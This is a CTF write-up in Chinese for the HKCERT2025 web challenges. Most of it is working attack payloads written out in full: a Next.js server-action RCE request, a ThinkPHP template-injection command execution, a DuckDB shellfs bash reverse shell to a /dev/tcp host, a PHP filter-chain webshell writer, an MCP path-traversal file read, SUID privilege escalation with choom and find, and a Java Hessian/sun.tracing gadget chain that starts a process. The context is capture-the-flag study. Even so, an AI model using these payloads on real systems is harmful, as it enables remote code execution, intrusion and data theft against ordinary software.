2991 words
15 minutes
HKCERT2025-web方向wp
2025-12-19

解出数9/12,netwatcher,Labyrinth,newrule,这里就记录一下我做的题目

easy-lua#

用下面代码探查当前Lua环境的全局变量和可用库

for k in pairs(_G) do print(k) end -- 先看全局
print(load) -- 是否可用
print(debug, package, jit, ffi) -- 库存在否

返回如下结果

package
_G
_VERSION
_GOPHER_LUA_VERSION
collectgarbage
getfenv
load
loadstring
next
print
_printregs
unpack
assert
getmetatable
loadfile
setmetatable
type
xpcall
module
rawequal
rawset
setfenv
tonumber
tostring
require
dofile
error
pcall
rawget
select
newproxy
ipairs
pairs
table
string
math
S3cr3t0sEx3cFunc
getFileContent
getFileList
function: 0x9f0c2a0
nil table: 0x9e52c30 nil nil

有一个特别的函数,直接执行:

print(S3cr3t0sEx3cFunc("id"))
print(S3cr3t0sEx3cFunc("cat /flag"))

react#

直接打最近的react cve即可

exp

POST / HTTP/1.1
Host: web-34ec9604d5.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

renderme#

thinkphp8.1.3,考点应该是模版注入,测试了一下 waf了下面的字符

( ) ' " php ` eval exec include

试出来可以用require

GET /?0=/etc/passwd&name={{urlenc(<?=1;require $_GET[0]?>)}} HTTP/1.1
Host: web-348227f3a2.challenge.xctf.org.cn
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate

不过除了etc/passwd,无论怎么require其他都是报语法错误,神秘

后面发现tp的模版语法可以绕过这种过滤,文档:https://doc.thinkphp.cn/@think-template/shiyonghanshu.html

1.00

tp的模版语法还支持.代替[]获取键值

1.00


那就可以用下面的payload绕过了

GET /?name={$_GET.p|$_GET.f}&f=system&p=id HTTP/1.1
Host: web-348227f3a2.challenge.xctf.org.cn
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate

然后用choom来suid提权读flag

GET /?name={$_GET.p|$_GET.f}&f=system&p={{urlenc(/usr/bin/choom -n 0 -- /bin/cat /root/flag)}} HTTP/1.1
Host: web-348227f3a2.challenge.xctf.org.cn
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate

Dam Breach#

一个开源的CloudBeaver数据库管理工具 版本为25.3.0.202512010952,最新版

问ai可以发现duckdb是一个嵌入式数据库,连接后可以任意读文件

连接的jdbc如下:

jdbc:duckdb::memory:

然后就开始找重要的文件了

# 列目录文件
SELECT * FROM glob('/opt/cloudbeaver/workspace/*');
SELECT * FROM glob('/opt/cloudbeaver/workspace/**/*');
SELECT * FROM glob('/opt/cloudbeaver/**/*.json');
SELECT * FROM glob('/opt/cloudbeaver/**/*.conf');
# 读文件
SELECT * FROM read_text('/opt/cloudbeaver/conf/logback.xml');

列目录支持*和**通配符

记录一下查到的配置文件

/opt/cloudbeaver/workspace/.data/cb.h2v2.dat.mv.db
/opt/cloudbeaver/workspace/.data/cb.h2v2.dat.trace.db
/opt/cloudbeaver/workspace/.data/.cloudbeaver.runtime.conf

读取了runtime.conf结果如下:

{
"server": {
"serverName": "CloudBeaver CE Server",
"serverURL": "http://localhost:8978",
"expireSessionAfterPeriod": "${CLOUDBEAVER_EXPIRE_SESSION_AFTER_PERIOD:1800000}",
"forceHttps": "${CLOUDBEAVER_FORCE_HTTPS:false}",
"supportedHosts": [],
"bindSessionToIp": "${CLOUDBEAVER_BIND_SESSION_TO_IP:disable}",
"productSettings": {
"core.localization.language": "${CLOUDBEAVER_CORE_LOCALIZATION:en}",
"core.theming.theme": "${CLOUDBEAVER_CORE_THEMING_THEME:system}",
"plugin.log-viewer.disabled": "${CLOUDBEAVER_LOG_VIEWER_DISABLED:false}",
"plugin.log-viewer.logBatchSize": "${CLOUDBEAVER_LOG_VIEWER_LOG_BATCH_SIZE:1000}",
"plugin.log-viewer.maxLogRecords": "${CLOUDBEAVER_LOG_VIEWER_MAX_LOG_RECORDS:2000}",
"plugin.sql-editor.autoSave": "${CLOUDBEAVER_SQL_EDITOR_AUTOSAVE:true}",
"plugin.sql-editor.disabled": "${CLOUDBEAVER_SQL_EDITOR_DISABLED:false}",
"plugin.sql-editor.maxFileSize": "${CLOUDBEAVER_SQL_EDITOR_MAX_FILE_SIZE:10240}",
"sql.proposals.insert.table.alias": "${CLOUDBEAVER_SQL_PROPOSALS_INSERT_TABLE_ALIAS:PLAIN}",
"SQLEditor.ContentAssistant.experimental.mode": "${CLOUDBEAVER_SQL_EDITOR_CONTENT_ASSISTANT_EXPERIMENTAL_MODE:NEW}"
},
"database": {
"driver": "${CLOUDBEAVER_DB_DRIVER:h2_embedded_v2}",
"url": "${CLOUDBEAVER_DB_URL:jdbc:h2:/opt/cloudbeaver/workspace/.data/cb.h2v2.dat}",
"user": "${CLOUDBEAVER_DB_USER:cb-data}",
"password": "${CLOUDBEAVER_DB_PASSWORD:rdZNnZiF}",
"initialDataConfiguration": "${CLOUDBEAVER_DB_INITIAL_DATA:conf/initial-data.conf}",
"backupEnabled": "${CLOUDBEAVER_DB_BACKUP_ENABLED:true}",
"pool": {
"minIdleConnections": "${CLOUDBEAVER_DB_MIN_IDLE_CONNECTIONS:4}",
"maxIdleConnections": "${CLOUDBEAVER_DB_MAX_IDLE_CONNECTIONS:10}",
"maxConnections": "${CLOUDBEAVER_DB_MAX_CONNECTIONS:100}",
"validationQuery": "${CLOUDBEAVER_DB_VALIDATION_QUERY:SELECT 1}"
}
},
"sm": {
"passwordPolicy": {
"minLength": "${CLOUDBEAVER_POLICY_MIN_LENGTH:8}",
"minNumberCount": "${CLOUDBEAVER_POLICY_MIN_NUMBER_COUNT:1}",
"minSymbolCount": "${CLOUDBEAVER_POLICY_MIN_SYMBOL_COUNT:0}",
"requireMixedCase": "${CLOUDBEAVER_POLICY_REQUIRE_MIXED_CASE:true}"
}
}
},
"app": {
"anonymousAccessEnabled": "${CLOUDBEAVER_APP_ANONYMOUS_ACCESS_ENABLED:true}",
"supportsCustomConnections": "${CLOUDBEAVER_APP_SUPPORTS_CUSTOM_CONNECTIONS:true}",
"publicCredentialsSaveEnabled": "${CLOUDBEAVER_APP_PUBLIC_CREDENTIALS_SAVE_ENABLED:true}",
"adminCredentialsSaveEnabled": "${CLOUDBEAVER_APP_ADMIN_CREDENTIALS_SAVE_ENABLED:true}",
"enableReverseProxyAuth": false,
"forwardProxy": "${CLOUDBEAVER_APP_FORWARD_PROXY:false}",
"linkExternalCredentialsWithUser": true,
"redirectOnFederatedAuth": false,
"resourceManagerEnabled": "${CLOUDBEAVER_APP_RESOURCE_MANAGER_ENABLED:true}",
"secretManagerEnabled": false,
"showReadOnlyConnectionInfo": "${CLOUDBEAVER_APP_READ_ONLY_CONNECTION_INFO:false}",
"grantConnectionsAccessToAnonymousTeam": "${CLOUDBEAVER_APP_GRANT_CONNECTIONS_ACCESS_TO_ANONYMOUS_TEAM:false}",
"systemVariablesResolvingEnabled": "${CLOUDBEAVER_SYSTEM_VARIABLES_RESOLVING_ENABLED:false}",
"resourceQuotas": {
"resourceManagerFileSizeLimit": "${CLOUDBEAVER_RESOURCE_QUOTA_RESOURCE_MANAGER_FILE_SIZE_LIMIT:500000}",
"sqlMaxRunningQueries": "${CLOUDBEAVER_RESOURCE_QUOTA_SQL_MAX_RUNNING_QUERIES:100}",
"sqlResultSetRowsLimit": "${CLOUDBEAVER_RESOURCE_QUOTA_SQL_RESULT_SET_ROWS_LIMIT:100000}",
"sqlTextPreviewMaxLength": "${CLOUDBEAVER_RESOURCE_QUOTA_SQL_TEXT_PREVIEW_MAX_LENGTH:4096}",
"sqlBinaryPreviewMaxLength": "${CLOUDBEAVER_RESOURCE_QUOTA_SQL_BINARY_PREVIEW_MAX_LENGTH:261120}"
},
"defaultNavigatorSettings": {},
"enabledFeatures": [],
"enabledAuthProviders": [
"local"
],
"enabledDrivers": [
"generic:duckdb_jdbc"
],
"disabledDrivers": [
"h2:h2_embedded",
"h2:h2_embedded_v2",
"sqlite:sqlite_jdbc",
"db2:db2"
]
}
}

这里只开放了duckdb,然后有h2的账号密码,尝试直接修改rutime文件看能不能热重启并更新文件,修改数据库限制这里就行

COPY (SELECT '你的完整修改后的JSON字符串') TO '/opt/cloudbeaver/workspace/.data/.cloudbeaver.runtime.conf';

可惜失败了,无法热重启

发现新的切入点,参考这篇文章:http://www.360doc.com/content/25/1005/08/77981587_1162490094.shtml

可以安装shellfs扩展,官方的地址:https://github.com/query-farm/shellfs,https://duckdb.org/community_extensions/extensions/shellfs

INSTALL shellfs FROM community;
LOAD shellfs;

加载扩展之后就可以执行命令了,但是我执行一些其他命令输出就会炸掉靶机,然后经过测试可以出网,这里就直接弹shell

-- 这个扩展想要获得结果就是在末尾加一个 |
SELECT * FROM read_text('bash -c "bash -i >& /dev/tcp/ip/1389 0>&1" |');

然后find提权读/root下面的flag即可

Terminal window
find /etc/passwd -exec cat /root/flag \;

nettool#

在验证密钥处

def verify_token(token: str) -> TokenData:
print(f"Token to verify: {token}")
try:
SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
except Exception:
raise HTTPException(
status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
detail=f"Token custom check failed: {traceback.format_exc()}"
)

我们可以这里让他报错泄漏真实jwt密钥,只要超过2048长度,使base64解码报错即可 真实密钥如下:

RDbiBrgdR#CrdZVW

然后访问他的9000端口,有个mcp

首先要发下面的header

{
"Accept": "application/json, text/event-stream",
"Content-Type": "application/json",
"mcp-session-id": "0296dcd8f8f14a9e80a1aa93cdff0a1c"
}

然后先initialize

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","clientInfo":{"name":"nettool","version":"1.0"},"capabilities":{"tools":{},"resources":{},"prompts":{}}}}

返回如下结果

Status: 200
Headers:
date: Sat, 20 Dec 2025 18:13:37 GMT
server: uvicorn
cache-control: no-cache, no-transform
connection: keep-alive
content-type: text/event-stream
mcp-session-id: 0296dcd8f8f14a9e80a1aa93cdff0a1c
x-accel-buffering: no
transfer-encoding: chunked
Body:
event: message
data: {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"experimental":{},"prompts":{"listChanged":true},"resources":{"subscribe":false,"listChanged":true},"tools":{"listChanged":true}},"serverInfo":{"name":"MyServer","version":"2.13.3"}}}

然后列出工具

{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}

返回结果如下

Status: 200
Headers:
date: Sat, 20 Dec 2025 18:15:25 GMT
server: uvicorn
cache-control: no-cache, no-transform
connection: keep-alive
content-type: text/event-stream
mcp-session-id: 0296dcd8f8f14a9e80a1aa93cdff0a1c
x-accel-buffering: no
transfer-encoding: chunked
Body:
event: message
data: {"jsonrpc":"2.0","id":2,"result":{"tools":[{"name":"welcome_message","description":"Returns a welcome message for new hackers.","inputSchema":{"properties":{},"type":"object"},"outputSchema":{"properties":{"result":{"type":"string"}},"required":["result"],"type":"object","x-fastmcp-wrap-result":true},"_meta":{"_fastmcp":{"tags":[]}}},{"name":"calculate_sum","description":"Calculates the sum of two integers.","inputSchema":{"properties":{"a":{"type":"integer"},"b":{"type":"integer"}},"required":["a","b"],"type":"object"},"outputSchema":{"properties":{"result":{"type":"integer"}},"required":["result"],"type":"object","x-fastmcp-wrap-result":true},"_meta":{"_fastmcp":{"tags":[]}}}]}}

没发现有用的,再看resources/list

{"jsonrpc":"2.0","id":3,"method":"resources/list","params":{}}

结果如下

Status: 200
Headers:
date: Sat, 20 Dec 2025 18:16:54 GMT
server: uvicorn
cache-control: no-cache, no-transform
connection: keep-alive
content-type: text/event-stream
mcp-session-id: 0296dcd8f8f14a9e80a1aa93cdff0a1c
x-accel-buffering: no
transfer-encoding: chunked
Body:
event: message
data: {"jsonrpc":"2.0","id":3,"result":{"resources":[]}}

发现没什么用

再看看prompts/list发现隐藏提示词

Body:
event: message
data: {"jsonrpc":"2.0","id":2,"result":{"prompts":[{"name":"where_is_flag","description":"Where is the flag located?","arguments":[{"name":"name","required":true}],"_meta":{"_fastmcp":{"tags":[]}}}]}}

接着获取模版具体内容

{
"jsonrpc": "2.0",
"id": 5,
"method": "prompts/get",
"params": {
"name": "where_is_flag",
"arguments": {
"name": "admin"
}
}
}

返回如下

Status: 200
Headers:
date: Sat, 20 Dec 2025 18:30:52 GMT
server: uvicorn
cache-control: no-cache, no-transform
connection: keep-alive
content-type: text/event-stream
mcp-session-id: 0296dcd8f8f14a9e80a1aa93cdff0a1c
x-accel-buffering: no
transfer-encoding: chunked
Body:
event: message
data: {"jsonrpc":"2.0","id":5,"result":{"description":"Where is the flag located?","messages":[{"role":"user","content":{"type":"text","text":"'admin, flag is in /root/1ffflllaaaggg'!"}}]}}

emmm然后用resources读,但是有个隐藏模版要这样看

{
"jsonrpc": "2.0",
"id": 13,
"method": "resources/templates/list"
}

结果如下:

Body:
event: message
data: {"jsonrpc":"2.0","id":13,"result":{"resourceTemplates":[{"name":"get_file_base64","uriTemplate":"base64://tmp/{filename}","description":"Get the /tmp file in base64 encoding.","mimeType":"text/plain","_meta":{"_fastmcp":{"tags":[]}}}]}}

输入下面payload读flag即可,要url编码一下来绕过

{
"jsonrpc": "2.0",
"id": 17,
"method": "resources/read",
"params": {
"uri": "base64://tmp/%2e%2e%2f%2e%2e%2froot%2f1ffflllaaaggg"
}
}

insph#

一个php的应用,参考这个文章:https://forum.butian.net/share/2791

打filterchain直接写shell,filterchain的工具地址:https://github.com/synacktiv/php_filter_chain_generator

生成filterchain的命令

Terminal window
python3 php_filter_chain_generator.py --chain '<?php eval($_GET[1]); ?> '

然后传参数

GET /?data=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=shell.php HTTP/1.1
Host: web-f1658b86d2.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: */*
Referer: http://web-f1658b86d2.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=54fe02e065e63cc949a316eae1006d83

再访问shell.php拿flag即可

Labyrinth(复现)#

一道Hessian反序列化的题目,刚好Hessian忘了差不多,回顾一下

可以看到这里的路由就是一个Hessian反序列化,然后允许没有实现Serializable接口的类也能反序列化

再看看依赖

这里用了一个4.0.5的hessian-lite依赖,这个依赖是最新的,然后题目还有一个自定义的代理类

package org.example.labyrinth.model;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
/* loaded from: Labyrinth-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/org/example/labyrinth/model/CustomProxy.class */
public class CustomProxy extends Proxy implements Comparable<Object> {
private Method m3;
public CustomProxy(InvocationHandler h) {
super(h);
}
public CustomProxy(InvocationHandler h, Method m) {
super(h);
this.m3 = m;
}
@Override // java.lang.Comparable
public int compareTo(Object o) {
try {
if ("compareTo".equals(this.m3.getName())) {
return ((Integer) ((Proxy) this).h.invoke(this, this.m3, new Object[]{o})).intValue();
}
throw new UnsupportedOperationException("The bound method m3 is not 'compareTo', but: " + this.m3.getName());
} catch (Error | RuntimeException e) {
throw e;
} catch (Throwable e2) {
throw new RuntimeException(e2);
}
}
}

这里限制了m3的方法名一定需要为compareTo,估计可以在链子当中起到一个连接作用

jar-analyzer分析#

这里尝试用jar-analyzer这个工具来分析,刚好学习一下工具的使用,一些配置相关的就看文档就行了,也比较简单

hessian反序列化的起始点一般都是

  1. HashMap的key.hashCode、key.equals
  2. TreeMap的key.compareTo

这个没什么问题,hessian-lite中自带的黑名单如下

bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.awt.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.swing.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.codec.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.junit.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.mockito.
org.thymeleaf.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
ognl.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

根据前面自定义动态代理的compareTo,链子的起始就是TreeMap再到CustomProxy,那现在我们的目的就是找一个InvocationHandler,看他的invoke方法能不能对我们传入的object进行利用

我们用jar-analyzer搜索一下看看

这里直接将hessian自带的黑名单放进去用于排除,然后用jar-analyzer的search模式去搜索invoke方法定义

不过这里有很多个invoke,这里就直接看网上师傅的wp,不一个个试了,基本走的是xstream的一条链子,可以看https://research.qianxin.com/archives/3018

这里中间的利用链如下:

sun.tracing.ProviderSkeleton#invoke
sun.tracing.ProbeSkeleton#uncheckedTrigger
sun.tracing.dtrace.DTraceProbe#uncheckedTrigger
this.implementing_method.invoke(this.proxy, var1);

这部分的链子在jar-analyzer中也可以找到,我们可以去call的部分看他的方法调用

然后我们可以直接点击Callee的方法调用进行跳转,来查看

有个很方便的地方是,在走到uncheckedTrigger这个抽象方法的时候,Callee部分还会顺便将他的子类的实现方法也搜索出来,图中就可以看到链子最后我们需要的类

成功走到我们的链子

先写个简单的例子来验证这一部分链子

package com.clown.proxyTest;
import sun.misc.Unsafe;
import sun.tracing.ProbeSkeleton;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
public class ProxyExp {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) { // 一直找到 Object 为止
try {
Field f = clazz.getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
return; // 成功就结束
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass(); // 没找到就往上翻
}
}
throw new NoSuchFieldException("Field " + fieldName + " not found in " + obj.getClass());
}
public static void main(String[] args) throws Exception {
// 获取unsafe
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
HashMap hashMap = new HashMap<Method, ProbeSkeleton>();
Method hashcode = Object.class.getDeclaredMethod("hashCode");
ProcessBuilder processBuilder = new ProcessBuilder("open", "-a", "Calculator");
Method start =processBuilder.getClass().getDeclaredMethod("start");
// 找一个ProviderSkeleton的子类,因为ProviderSkeleton是一个抽象类
Object nullprovider = unsafe.allocateInstance(Class.forName("sun.tracing.NullProvider"));
Object probe = unsafe.allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
setFieldValue(probe,"proxy",processBuilder);
setFieldValue(probe,"implementing_method",start);
hashMap.put(hashcode,probe);
setFieldValue(nullprovider,"providerType",Object.class);
setFieldValue(nullprovider,"active",true);
setFieldValue(nullprovider,"probes",hashMap);
Object a = Proxy.newProxyInstance(
nullprovider.getClass().getClassLoader(),
new Class<?>[] { Comparable.class },
(InvocationHandler) nullprovider);
a.hashCode();
}
}

